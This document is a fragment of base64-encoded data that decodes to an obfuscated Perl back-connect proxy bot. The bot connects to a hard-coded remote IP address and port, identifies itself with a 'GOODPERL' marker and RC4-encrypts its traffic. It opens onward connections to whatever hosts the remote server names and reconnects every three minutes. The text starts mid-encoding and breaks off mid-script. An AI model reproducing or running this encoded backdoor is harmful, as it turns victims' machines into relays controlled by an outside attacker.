JCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7C